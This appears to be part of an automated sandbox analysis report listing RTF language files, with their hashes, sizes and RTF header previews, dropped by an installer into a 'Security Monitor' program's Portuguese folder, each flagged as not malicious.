SSDEEP:	768:xoOfYRjCjOcPI0QhhiLVjLqPQcCTjwC9UqUkVuss8HD43p8ZHHuJf5:xobLUntNkf5
MD5:	8360940E8A2388A3DE31148F9ED5DCBF
SHA1:	6B44DF438877025970E59C226D3F3D347CCDC264
SHA-256:	AE905D395961C89647DF96F870FB8BFB199D72FF40BD62C6B95413C06CC03927
SHA-512:	1E58457C3359EEED8C187A5F60C09D6CFEAA3A995BE0FD3F22690A02383DF9DEFE5B60EFA1BF8B4FC0975B17683629292D3118DF670C4CBF1DF3141B73D4ACF5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 0202060305040502030

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	41900
Entropy (8bit):	5.016535633453485
Encrypted:	false
SSDEEP:	768:xoOfYRj7jOcPI0QhhiLV6qiTqP7Mi6uxPwjmkoASoGpngl4ZbbsVj72Q/za1CkCI:xobqUncV/QNkf8
MD5:	4610A71940E165CB27249C3133800D76
SHA1:	395941C9ECEE674429A1108075F9DD0A241CF28B
SHA-256:	AAE092EC9F04F37A0059D595A581A9818DB18A4247B95F237E20EED5571BC843
SHA-512:	D297B3B4AEA83E3107A0C799A238C40060BBF7247DEFEF0E179A2F61ADF06442BFC90577C705CAB0D3D2D0D12BD3C86F56C0B5ED971087C47A1973B54853DE32
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 0202060305040502030

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38831
Entropy (8bit):	5.022754170432963
Encrypted:	false
SSDEEP:	768:wMF2weYJK4J7bIWIRV9OOVQjwQ49PomsZ/HuJct9:wM3wJF4Zko9
MD5:	01A4A15CD5BE8B0E0E0B34200D995311
SHA1:	D30F6F8219B9B3E91F9D1D0C5283F94A6CF0F124
SHA-256:	D8A325D699C34E761833F16416EEBAAB43AA66454D08B7ECC40B4E5B89C1DF80
SHA-512:	7C968B597067F2E0D0645219A96284C9868298F184FBB479CE214E7F997C353817F079C40D8BC7F79AAAAC42AAF216D33ACEC6407F1B24E60DBA4876426A734F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68811
Entropy (8bit):	5.0062740217102695
Encrypted:	false
SSDEEP:	768:qMF2weRlqEW0TgegJ9Vte5iMSf3TDcbIWIRV9hMJu8WjbvH/o2ZuTCHF3wZxyiQg:qMChO5Nkf5
MD5:	9904281F0A850031B5DC777E69ACE68A
SHA1:	1B630CE1A72C6F2A1CB9C8B7A1FC81C2FD2ED3F0
SHA-256:	5888B749E1FC255BF39896EABE4B24B461BB4904549B1050AE8AE72296B72F11
SHA-512:	22C5E7E021B2428225E1595EBF628C83A97BCB76F7D52DD330F72F232E42B9BDAFCDB92A3B858909399700AC1A6FAED2A5A5138B1D66258937698D1684701905
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-1A2EE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	55605
Entropy (8bit):	5.01205567474232
Encrypted:	false
SSDEEP:	768:joOfxRl14hJboyQZFJiMJu8WjbvMuhisSnPLQStqICnfLrajKyISfle0anZf1L3v:joQxkONkfp
MD5:	2042C1CEA9DAB7F908912F3BFDF63E63
SHA1:	5584A50BCAF968B5EC85B230E9043456D38C8222
SHA-256:	D67F0917369F9D4C556E2F625566C239FEE4DDB6AEF1483DCB2556F23DD3785B
SHA-512:	B0C961BA725096E33D3B586951221A35A77A56D63E0003C301AD30F6D6DB94DF6853124EFE7FE8817F7EEF9F7972434AFC65010885BCE4A9BEFB60D7FF9A5679
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-2HJ9K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40154
Entropy (8bit):	5.0200796695222865
Encrypted:	false
SSDEEP:	768:xoOfYRjCjOcPI0QhhiLVjLqPQcCTjwC9UqUkVuss8HD43p8ZHHuJf5:xobLUntNkf5
MD5:	8360940E8A2388A3DE31148F9ED5DCBF
SHA1:	6B44DF438877025970E59C226D3F3D347CCDC264
SHA-256:	AE905D395961C89647DF96F870FB8BFB199D72FF40BD62C6B95413C06CC03927
SHA-512:	1E58457C3359EEED8C187A5F60C09D6CFEAA3A995BE0FD3F22690A02383DF9DEFE5B60EFA1BF8B4FC0975B17683629292D3118DF670C4CBF1DF3141B73D4ACF5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 0202060305040502030

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-355LD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38831
Entropy (8bit):	5.022754170432963
Encrypted:	false
SSDEEP:	768:wMF2weYJK4J7bIWIRV9OOVQjwQ49PomsZ/HuJct9:wM3wJF4Zko9
MD5:	01A4A15CD5BE8B0E0E0B34200D995311
SHA1:	D30F6F8219B9B3E91F9D1D0C5283F94A6CF0F124
SHA-256:	D8A325D699C34E761833F16416EEBAAB43AA66454D08B7ECC40B4E5B89C1DF80
SHA-512:	7C968B597067F2E0D0645219A96284C9868298F184FBB479CE214E7F997C353817F079C40D8BC7F79AAAAC42AAF216D33ACEC6407F1B24E60DBA4876426A734F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-99351.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68811
Entropy (8bit):	5.0062740217102695
Encrypted:	false
SSDEEP:	768:qMF2weRlqEW0TgegJ9Vte5iMSf3TDcbIWIRV9hMJu8WjbvH/o2ZuTCHF3wZxyiQg:qMChO5Nkf5
MD5:	9904281F0A850031B5DC777E69ACE68A
SHA1:	1B630CE1A72C6F2A1CB9C8B7A1FC81C2FD2ED3F0
SHA-256:	5888B749E1FC255BF39896EABE4B24B461BB4904549B1050AE8AE72296B72F11
SHA-512:	22C5E7E021B2428225E1595EBF628C83A97BCB76F7D52DD330F72F232E42B9BDAFCDB92A3B858909399700AC1A6FAED2A5A5138B1D66258937698D1684701905
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-9JQBQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47415
Entropy (8bit):	5.015734147683168
Encrypted:	false
SSDEEP:	768:jnTmY+EN4mXbIWIRV9sK8qoZzNqZiuJo8cDovLQoAn3Brxw2mB+c37DWZlIpIkpU:jnciZhNkfY
MD5:	A7A6E83C7BF0C9446D815E04CB208372
SHA1:	793D0F666A6E771A4864B169BBE282F943D5D043
SHA-256:	B5323857EF076CBEBD3B870F4C8EB5C58B968ED51ACB6821C0A93C2FFE53A1AB
SHA-512:	A5B09DD7D7C362B1807F6B9216318AA3598943688EFA39D4E15DB49DCE7743C9DC2574DC182BFCCFBB3501A7A1273A073FC97F8BC714084806B16DC8F43B49F5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\\panose 0201

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-D5R10.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47337
Entropy (8bit):	5.026858098463381
Encrypted:	false
SSDEEP:	768:xaOfIRjZyPCtqICnfLBOHjiqlO8DTO+6X9MsHEW71vUGF87etnC+zc7R+ezr21gQ:xapnVMNkfS
MD5:	F4E08AB548997A7569D407BF6945FF93
SHA1:	374C962B0AD68A101B3DAED59995A904FD2366DF
SHA-256:	5F43BA173258F401DEBA2C385FC136464F11F0BF9C9122D5CB1EDDBBA356D24F
SHA-512:	9F6F81663CCC54ED4B6E57770247EBDE16327C46ACFE14EF01BC3CF1172D9647AFDBED40FA59115DD41BA746428368A34C4307AA4D7B0093C88D86F8C4BAA982
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-FJM39.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43011
Entropy (8bit):	5.033750943906381
Encrypted:	false
SSDEEP:	768:jaOfIRll4ugJAqxAUZm25iMSf3Tv5itocjSzFkkqYrMOFAPZ/HuJctS:japiZkoS
MD5:	F7FE0658461246679F5FD2A30AF4F9AE
SHA1:	878199CEF5C2AB4748658880B8A9302CF754216D
SHA-256:	D65035962FAF4E5AEC76B8EB56E186E14907CD955511B21F2E212CF706F08940
SHA-512:	A9232C63302DCB47FD8A53DEF4A5B6A8BAAC23766F98D8051751B3AB4A12F9F1D12644DE7E5E5AC897506D7C33FA2803E3FDC241457F3F925EEB42CC6384D874
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-GJ503.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42824
Entropy (8bit):	5.034062607884397
Encrypted:	false
SSDEEP:	768:jFTmHRlU4U7bIWIRV9pqHjiqlO8Dxg+uoH6ewDiUpk8q8l9kSZHHuJfo:jFulNkfo
MD5:	800E7AD84A7B41C281A79786FEA7BA97
SHA1:	994E9061F0AC0F8D5A34B5456B3CB580216F08F6
SHA-256:	6D4DC10220486F098944FBCE97F8B5D03DA6157F7B59F79AF697D60AEDBDAC82
SHA-512:	887318DB58E88701D2B34B7E894EE2132684D0E3C724BC1B6EBA83C5987ECC1D7984018C8915AD0E7EE63E46C8C4258D7F286D2CE804DDFB37289F37676EB5F8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-HCDHQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38881
Entropy (8bit):	5.021685226499464
Encrypted:	false
SSDEEP:	768:jnTmrRl+4AnbIWIRV9u6KSsouXIhUGD+hZCZHHuJfD:jnIZNkfD
MD5:	C105B94880EE7C216A6B9CB11680EE5F
SHA1:	DB8A5F0969428FC77D619742CF14E733281491EE
SHA-256:	1F56475447CBCFC209E9BC0BEF763423EA52CDBC4EBB989EC592025C907C8EAF
SHA-512:	18D9F4336DCD746E374B70D297F5F555745CCBFCDE08689B50BEF3C2CD7A7714867F747472240EE195161142C3DC8A93C985FE6D8D66D7F46878C25B45D99A67
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\\panose 0201

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-JIB0U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	61874
Entropy (8bit):	5.01308589618829
Encrypted:	false
SSDEEP:	768:qOF2whYDh4GQgJAqxAUZ8ipwQduXyufTM3wEmgIqvNNb+S/5lqmhIFBjMpVWH3WA:qOQxqiBXZko0
MD5:	149EB3F389063EE27E719BA447DAD74E
SHA1:	1A4BF26BB1082D14EFDE795E2EC0E2357F0A3E74
SHA-256:	61576A27746879AC99F0F0A588FA18BD49A62908A3EF1CBD0446F3F3D18CD0FD
SHA-512:	F72E59E3935176D0D8E659F64FB344EBAE43928C7F53633160E8D7F34F2EAA0C9C738EE0DC87F14E1C35D822BB0B3247C3F427FF657F97C0E73463C116D29799
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharse

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-JQOEF.tmp

Download File

